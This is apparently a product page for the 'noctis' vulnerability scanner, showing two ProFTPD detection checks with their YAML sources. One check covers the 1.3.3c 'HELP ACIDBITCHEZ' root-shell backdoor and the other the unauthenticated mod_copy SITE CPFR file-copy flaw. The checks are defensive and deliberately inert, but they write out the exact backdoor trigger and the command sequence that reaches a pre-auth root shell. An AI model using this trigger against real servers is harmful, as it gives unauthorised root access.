ProFTPD — 2 vulnerability checks

noctis ships 2 vulnerability checks for ProFTPD, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ProFTPD 1.3.3c backdoor (HELP ACIDBITCHEZ) unauthenticated root shell

CVECVE-2010-20103
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Servicesftp
Detectionscript, tcp_dialogue, match · highest QoD 97
Feedtests/vulnerabilities/proftpd/CVE-2010-20103.yaml

Sends HELP ACIDBITCHEZ to open the backdoor shell planted in ProFTPD 1.3.3c, runs an echo of a per-run arithmetic marker and reports when the computed product comes back, confirming command execution.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. TCP dialogue: HELP ACIDBITCHEZ, {{inj.cmd}}, {{inj.cmd_legacy}}
  3. Parses / computes the next value with a Rhai script
  4. Checks check.shell for ^true$ → finding QoD 97: ProFTPD 1.3.3c backdoor — unauthenticated root shell (CVE-2010-20103)

References:

Feed source — tests/vulnerabilities/proftpd/CVE-2010-20103.yaml
# ProFTPD 1.3.3c backdoor — unauthenticated root shell via "HELP ACIDBITCHEZ"
# (CVE-2010-20103).
#
# Between 2010-11-28 and 2010-12-02 the ProFTPD distribution server was
# compromised and the 1.3.3c source tarball was replaced by one carrying a
# backdoor in src/help.c: the command `HELP ACIDBITCHEZ` makes the server call
# setuid(0)/setgid(0) and spawn /bin/sh on the control connection, BEFORE any
# login. Every following line sent on the socket is run by that root shell and
# its output comes back on the same connection.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_proftpd_backdoor_45150.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100933, GPL-2.0-only): open the control connection,
# read the greeting, send `HELP ACIDBITCHEZ` (a 502 "Unknown command" reply means
# no backdoor), then send a command and look for its output.
#
# REAL, BENIGN EXPLOITATION PROOF: instead of the NASL's `id;`, we send an inert
# shell arithmetic expansion `echo <marker>$((A*B));` built from a random marker
# and two random integers generated for this run. No program runs besides the
# shell builtin echo, nothing is written or read on the target. A backdoored
# server's shell evaluates the expansion and prints `<marker><A*B>`; a clean
# ProFTPD answers `500 ECHO ... not understood` (possibly reflecting the
# literal `$((A*B))` text, never the product). The finding keys on the computed
# token only, which changes every run.
#
# Better than the NASL / Nuclei template:
#   - no dependency on a prior version/banner detection: a backdoored server
#     whose banner was changed (ServerIdent) is still caught, and a clean
#     "1.3.3c" banner (the Nuclei fingerprint) never fires on its own;
#   - the proof is a per-run computed value, so a server that reflects input or
#     happens to print "uid=" text cannot produce a false positive;
#   - `echo` instead of `id`: nothing beyond a shell builtin is executed.
uid: 2ce103ec-3cc0-4dc3-84cc-d083cb8bd809
name: "CVE-2010-20103 — ProFTPD 1.3.3c backdoor (HELP ACIDBITCHEZ) unauthenticated root shell"
description: "Sends HELP ACIDBITCHEZ to open the backdoor shell planted in ProFTPD 1.3.3c, runs an echo of a per-run arithmetic marker and reports when the computed product comes back, confirming command execution."
cves: [CVE-2010-20103]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [proftpd, ftp, backdoor, supply-chain, rce, pre-auth, intrusive]
services: [ftp]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-20103"
  - "https://www.securityfocus.com/bid/45150"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/javascript/cves/2010/CVE-2010-20103.yaml"
  - "OpenVAS NVT 2010/gb_proftpd_backdoor_45150.nasl (OID 1.3.6.1.4.1.25623.1.0.100933)"

steps:
  # ── 1. Per-run benign payload + expected token ──────────────────────────
  # A*B stays below 2^31 so even a 32-bit shell computes it exactly.
  - id: build-payload
    action: script
    store_as: inj
    code: |
      let marker = "NOCTIS" + rand_hex(6);
      let a = rand_int(1000, 9999);
      let b = rand_int(1000, 9999);
      let cmd = "echo " + marker + "$((" + a.to_string() + "*" + b.to_string() + "));";
      let cmd_legacy = "echo " + marker + "`expr " + a.to_string() + " \\* " + b.to_string() + "`;";
      #{ cmd: cmd, cmd_legacy: cmd_legacy, token: marker + (a * b).to_string() }

  # ── 2. Trigger the backdoor, then run the inert expansion ────────────────
  # Same sequence as the NASL: greeting, HELP ACIDBITCHEZ, then one command.
  # The trailing ';' (as in the NASL's `id;`) keeps the '\r' of the FTP line
  # ending out of the echo command. The third line is the same proof for a
  # pre-POSIX Bourne /bin/sh (e.g. Solaris 10), which has no $(( )) expansion:
  # `expr A \* B` in backticks (expr only multiplies, nothing else runs).
  - id: probe
    action: tcp_dialogue
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    commands:
      - "HELP ACIDBITCHEZ"
      - "{{inj.cmd}}"
      - "{{inj.cmd_legacy}}"
    store_as: ftp

  # ── 3. Did a shell evaluate our expansion? ───────────────────────────────
  # NASL gate kept: a 502 reply to HELP ACIDBITCHEZ means the command is
  # unknown, i.e. no backdoor. The token is searched in the replies that follow
  # the trigger only (never the greeting).
  - id: evaluate
    action: script
    store_as: check
    code: |
      let resps = if type_of(ftp.responses) == "array" { ftp.responses } else { [] };
      let trig = if resps.len() > 0 { resps[0] } else { "" };
      let out = "";
      for i in 1..resps.len() { out += resps[i] + "\n"; }
      let rejected = ereg("(^|\n)502", trig);
      #{ shell: !rejected && stridx(trig + "\n" + out, inj.token) >= 0 }

  - id: confirm
    action: match
    source: check.shell
    pattern: "^true$"
    on_match:
      finding:
        title: "ProFTPD 1.3.3c backdoor — unauthenticated root shell (CVE-2010-20103)"
        description: "The FTP server runs the backdoored ProFTPD 1.3.3c release: after the pre-authentication command 'HELP ACIDBITCHEZ' it handed the control connection to a root shell, which evaluated an inert arithmetic expansion sent by the scanner and returned the per-run computed value. Any unauthenticated attacker can run arbitrary commands as root."
        remediation: "Treat the host as compromised. Reinstall ProFTPD from a verified source (1.3.3c tarballs with MD5 8571bd78874b557e98480ed48e2df1d2 / 4f2c554d6273b8145095837913ba9e5d are clean, or upgrade to a current release), and investigate the system for further compromise."
        confidence_delta: 0.70
        qod: 97
        evidence: "HELP ACIDBITCHEZ was not rejected and the following shell command 'echo <marker>$((A*B))' returned the per-run computed product (shell evaluation confirmed); CVE-2010-20103"
      stop: true

ProFTPd mod_copy unauthenticated SITE CPFR/CPTO file copy

CVECVE-2015-3306
Severitycritical · CVSS 10.0
Categoryauth-bypass — Auth bypass
Servicesftp
Detectiontcp_dialogue, script, match · highest QoD 75
Feedtests/vulnerabilities/proftpd/CVE-2015-3306.yaml

Sends SITE CPFR without logging in and reports when ProFTPd's mod_copy answers 350, showing the unauthenticated file-copy commands are enabled.

How noctis detects it

  1. TCP dialogue: PWD, SITE CPFR /tmp/noctis-cpfr-probe
  2. Parses / computes the next value with a Rhai script
  3. Checks ftp.transcript for 350 → finding QoD 75: ProFTPd mod_copy unauthenticated file-copy primitive (CVE-2015-3306)

References:

Feed source — tests/vulnerabilities/proftpd/CVE-2015-3306.yaml
# Detect ProFTPd mod_copy unauthenticated SITE CPFR/CPTO file-copy primitive (CVE-2015-3306).
#
# mod_copy's SITE CPFR / SITE CPTO handlers in the affected ProFTPd versions
# (1.3.5 before the fix) did not enforce an authenticated session, letting an
# UNAUTHENTICATED client copy arbitrary files — commonly chained into RCE by
# copying attacker-controlled content into a web root.
#
# Inert detection — we only prove the EXPOSURE of the pre-auth file-copy
# primitive, never exercise it. Without logging in, we send a benign control
# command (PWD) and a harmless `SITE CPFR` against a temp path. A vulnerable
# server accepts the CPFR with 350 ("ready for destination name") pre-auth; a
# patched/absent-mod_copy server rejects it (530 Please login / 500 unknown).
# We never send SITE CPTO and never copy, write, or read any file.
#
# The 350 accept alone is gated against a server that simply answers 350 to
# everything: the finding only fires when the benign control command (PWD) is
# rejected pre-auth (530/500/502) AND SITE CPFR is accepted with 350 — the
# genuine mod_copy behavioural differential, which a constant-350 responder
# cannot reproduce.
uid: d5dba324-c1c5-4974-a497-40f90e3620b0
name: "CVE-2015-3306 — ProFTPd mod_copy unauthenticated SITE CPFR/CPTO file copy"
description: "Sends SITE CPFR without logging in and reports when ProFTPd's mod_copy answers 350, showing the unauthenticated file-copy commands are enabled."
cves: [CVE-2015-3306]
cvss: 10.0
severity: critical
category: auth-bypass
confidence_base: 0.25
tags: [proftpd, ftp, mod_copy, auth-bypass, file-copy, kev]
services: [ftp]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-3306"
  - "https://github.com/t0kx/exploit-CVE-2015-3306"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2015/CVE-2015-3306.yaml"

steps:
  # ── 1. Pre-auth FTP dialogue ────────────────────────────────────────────
  # Read the 220 greeting, then, WITHOUT authenticating, send a benign control
  # command (PWD, read-only) followed by a harmless SITE CPFR against a temp
  # path. No CPTO, no copy, no file I/O.
  - id: probe
    action: tcp_dialogue
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    commands:
      - "PWD"
      - "SITE CPFR /tmp/noctis-cpfr-probe"
    store_as: ftp

  # ── 2. Behavioural differential ─────────────────────────────────────────
  # vulnerable  = SITE CPFR accepted pre-auth (350)  AND  the benign control
  #               command PWD was rejected pre-auth (530/500/502).
  # The control gate defeats a server that answers 350 to everything: such a
  # server also answers 350 to PWD, so control_rejected is false and no finding
  # fires.
  - id: analyze
    action: script
    code: |
      let resps = ftp.responses;
      let ctrl = if resps.len() > 0 { resps[0] } else { "" };
      let cpfr = if resps.len() > 1 { resps[1] } else { "" };
      let control_rejected = ereg("^(530|500|502|501)", ctrl);
      let cpfr_accepted = ereg("^350", cpfr);
      cpfr_accepted && control_rejected
    store_as: vulnerable

  # ── 3. Emit the finding (gated) ─────────────────────────────────────────
  - id: detect
    action: match
    source: ftp.transcript
    pattern: "350"
    condition: "vulnerable == true"
    on_match:
      finding:
        title: "ProFTPd mod_copy unauthenticated file-copy primitive (CVE-2015-3306)"
        description: "The server accepted 'SITE CPFR' pre-authentication with a 350 reply while rejecting a benign control command, exposing mod_copy's unauthenticated arbitrary file-copy primitive (chainable to RCE)."
        remediation: "Upgrade ProFTPd to a fixed release (>= 1.3.5a / 1.3.6) or disable mod_copy; ensure SITE CPFR/CPTO require an authenticated session."
        confidence_delta: 0.50
        qod: 75
        evidence: "Pre-auth FTP dialogue: {{ftp.transcript}}"
      stop: true

View these feeds on GitHub